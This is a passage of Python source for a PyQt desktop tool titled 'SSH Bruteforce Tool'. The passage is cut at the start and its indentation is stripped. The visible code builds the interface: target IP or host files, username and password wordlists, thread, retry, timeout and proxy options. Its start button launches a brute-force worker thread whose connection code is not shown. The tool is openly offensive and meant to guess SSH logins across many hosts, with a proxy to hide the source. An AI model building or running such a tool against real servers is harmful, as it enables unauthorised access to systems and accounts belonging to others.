def calculate_remaining_time(self):
elapsed_time = time.time() - self.start_time
avg_time_per_task = elapsed_time / self.completed_tasks if self.completed_tasks else 0
remaining_tasks = self.total_tasks - self.completed_tasks
remaining_time = avg_time_per_task * remaining_tasks
return f"Estimated remaining time: {time.strftime('%H:%M:%S', time.gmtime(remaining_time))}"
def start(self):
self.start_time = time.time()
super().start()
class SSHBruteforceGUI(QMainWindow):
def __init__(self):
super().__init__()
self.initUI()
def initUI(self):
self.setWindowTitle('SSH Bruteforce Tool')
self.setGeometry(100, 100, 800, 600)
QApplication.setStyle(QStyleFactory.create('Fusion'))
central_widget = QWidget()
self.setCentralWidget(central_widget)
layout = QVBoxLayout()
central_widget.setLayout(layout)
self.setStyleSheet("""
QMainWindow {
background-color: #000000;
border: 2px solid;
border-image: linear-gradient(to right, #ff0000, #000000) 1;
color: white;
}
QLabel {
color: white;
}
QLineEdit {
background-color: white;
color: #474747;
}
QPushButton {
background-color: gray;
color: white;
border: 1px solid black;
}
QTextEdit {
background-color: #1e1e1e;
color: white;
}
QSpinBox {
background-color: #333333;
color: white;
}
QComboBox {
background-color: gray;
color: black;
}
QProgressBar {
background-color: #333333;
color: white;
text-align: center;
}
""")
self.logo_label = QLabel(self)
pixmap = QPixmap('temp_logo.png')
self.logo_label.setPixmap(pixmap)
self.logo_label.setAlignment(Qt.AlignCenter)
layout.addWidget(self.logo_label)
target_layout = QHBoxLayout()
layout.addLayout(target_layout)
target_label = QLabel('Select Target:')
target_layout.addWidget(target_label)
self.target_combo = QComboBox()
self.target_combo.addItems(['Single Target', 'Target File'])
target_layout.addWidget(self.target_combo)
self.target_combo.currentIndexChanged.connect(self.toggle_target_input)
self.single_target_input = QLineEdit(self)
self.single_target_input.setPlaceholderText('Enter Single Target IP/Host')
layout.addWidget(self.single_target_input)
self.file_target_input = QLineEdit(self)
self.file_target_input.setPlaceholderText('Select Target File')
layout.addWidget(self.file_target_input)
self.file_target_button = QPushButton('Browse', self)
self.file_target_button.clicked.connect(self.browse_target_file)
layout.addWidget(self.file_target_button)
self.file_target_input.hide()
self.file_target_button.hide()
username_layout = QHBoxLayout()
layout.addLayout(username_layout)
username_label = QLabel('Select Username:')
username_layout.addWidget(username_label)
self.username_combo = QComboBox()
self.username_combo.addItems(['Single Username', 'Username File'])
username_layout.addWidget(self.username_combo)
self.username_combo.currentIndexChanged.connect(self.toggle_username_input)
self.single_username_input = QLineEdit(self)
self.single_username_input.setPlaceholderText('Enter Single Username')
layout.addWidget(self.single_username_input)
self.file_username_input = QLineEdit(self)
self.file_username_input.setPlaceholderText('Select Username File')
layout.addWidget(self.file_username_input)
self.file_username_button = QPushButton('Browse', self)
self.file_username_button.clicked.connect(self.browse_username_file)
layout.addWidget(self.file_username_button)
self.file_username_input.hide()
self.file_username_button.hide()
password_layout = QHBoxLayout()
layout.addLayout(password_layout)
password_label = QLabel('Select Password:')
password_layout.addWidget(password_label)
self.password_combo = QComboBox()
self.password_combo.addItems(['Single Password', 'Password File'])
password_layout.addWidget(self.password_combo)
self.password_combo.currentIndexChanged.connect(self.toggle_password_input)
self.single_password_input = QLineEdit(self)
self.single_password_input.setPlaceholderText('Enter Single Password')
layout.addWidget(self.single_password_input)
self.file_password_input = QLineEdit(self)
self.file_password_input.setPlaceholderText('Select Password File')
layout.addWidget(self.file_password_input)
self.file_password_button = QPushButton('Browse', self)
self.file_password_button.clicked.connect(self.browse_password_file)
layout.addWidget(self.file_password_button)
self.file_password_input.hide()
self.file_password_button.hide()
options_layout = QHBoxLayout()
layout.addLayout(options_layout)
threads_layout = QVBoxLayout()
options_layout.addLayout(threads_layout)
self.threads_label = QLabel('Number of Threads:')
threads_layout.addWidget(self.threads_label)
self.threads_input = QSpinBox(self)
self.threads_input.setValue(4)
threads_layout.addWidget(self.threads_input)
retries_layout = QVBoxLayout()
options_layout.addLayout(retries_layout)
self.retries_label = QLabel('Number of Retries:')
retries_layout.addWidget(self.retries_label)
self.retries_input = QSpinBox(self)
self.retries_input.setValue(3)
retries_layout.addWidget(self.retries_input)
timeout_layout = QVBoxLayout()
options_layout.addLayout(timeout_layout)
self.timeout_label = QLabel('Connection Timeout (s):')
timeout_layout.addWidget(self.timeout_label)
self.timeout_input = QSpinBox(self)
self.timeout_input.setValue(5)
timeout_layout.addWidget(self.timeout_input)
proxy_layout = QVBoxLayout()
options_layout.addLayout(proxy_layout)
self.proxy_label = QLabel('Proxy:')
proxy_layout.addWidget(self.proxy_label)
self.proxy_input = QLineEdit(self)
self.proxy_input.setPlaceholderText('Enter Proxy (Optional)')
proxy_layout.addWidget(self.proxy_input)
self.progress_bar = QProgressBar(self)
layout.addWidget(self.progress_bar)
self.remaining_time_label = QLabel('', self)
layout.addWidget(self.remaining_time_label)
self.log_output = QTextEdit(self)
self.log_output.setReadOnly(True)
layout.addWidget(self.log_output)
start_button = QPushButton('Start SSH Bruteforce', self)
start_button.clicked.connect(self.start_bruteforce)
layout.addWidget(start_button)
self.show()
def browse_target_file(self):
options = QFileDialog.Options()
file, _ = QFileDialog.getOpenFileName(self, "Select Target File", "", "All Files (*);;Text Files (*.txt)", options=options)
if file:
self.file_target_input.setText(file)
def browse_username_file(self):
options = QFileDialog.Options()
file, _ = QFileDialog.getOpenFileName(self, "Select Username File", "", "All Files (*);;Text Files (*.txt)", options=options)
if file:
self.file_username_input.setText(file)
def browse_password_file(self):
options = QFileDialog.Options()
file, _ = QFileDialog.getOpenFileName(self, "Select Password File", "", "All Files (*);;Text Files (*.txt)", options=options)
if file:
self.file_password_input.setText(file)
def log(self, message):
self.log_output.append(message)
self.log_output.setTextCursor(QTextCursor(self.log_output.document().end()))
def update_progress(self, value):
self.progress_bar.setValue(value)
def update_remaining_time(self, time_string):
self.remaining_time_label.setText(time_string)
def toggle_target_input(self):
if self.target_combo.currentText() == 'Single Target':
self.file_target_input.hide()
self.file_target_button.hide()
self.single_target_input.show()
else:
self.single_target_input.hide()
self.single_target_input.clear()
self.file_target_input.show()
self.file_target_button.show()
def toggle_username_input(self):
if self.username_combo.currentText() == 'Single Username':
self.file_username_input.hide()
self.file_username_button.hide()
self.single_username_input.show()
else:
self.single_username_input.hide()
self.single_username_input.clear()
self.file_username_input.show()
self.file_username_button.show()
def toggle_password_input(self):
if self.password_combo.currentText() == 'Single Password':
self.file_password_input.hide()
self.file_password_button.hide()
self.single_password_input.show()
else:
self.single_password_input.hide()
self.single_password_input.clear()
self.file_password_input.show()
self.file_password_button.show()
def start_bruteforce(self):
targets = [self.single_target_input.text()] if self.target_combo.currentText() == 'Single Target' else self.read_file(self.file_target_input.text())
usernames = [self.single_username_input.text()] if self.username_combo.currentText() == 'Single Username' else self.read_file(self.file_username_input.text())
passwords = [self.single_password_input.text()] if self.password_combo.currentText() == 'Single Password' else self.read_file(self.file_password_input.text())
timeout = self.timeout_input.value()
retries = self.retries_input.value()
proxy = self.proxy_input.text() if self.proxy_input.text() else None
self.worker = SSHBruteforceWorker(targets, usernames, passwords, timeout, retries, proxy)
self.worker.status.connect(self.log)
self.worker.progress.connect(self.update_progress)
self.worker.update_time.connect(self.update_remaining_time)
self.worker.start()
def read_file(self, filepath):
try:
with open(filepath, 'r') as file:
return [line.strip() for line in file if line.strip()]
except Exception as e:
self.log(f"Error reading file {filepath}: {str(e)}")
return []
if __name__ == '__main__':
app = QApplication(sys.argv)
window = SSHBruteforceGUI()
sys.exit(app.exec_())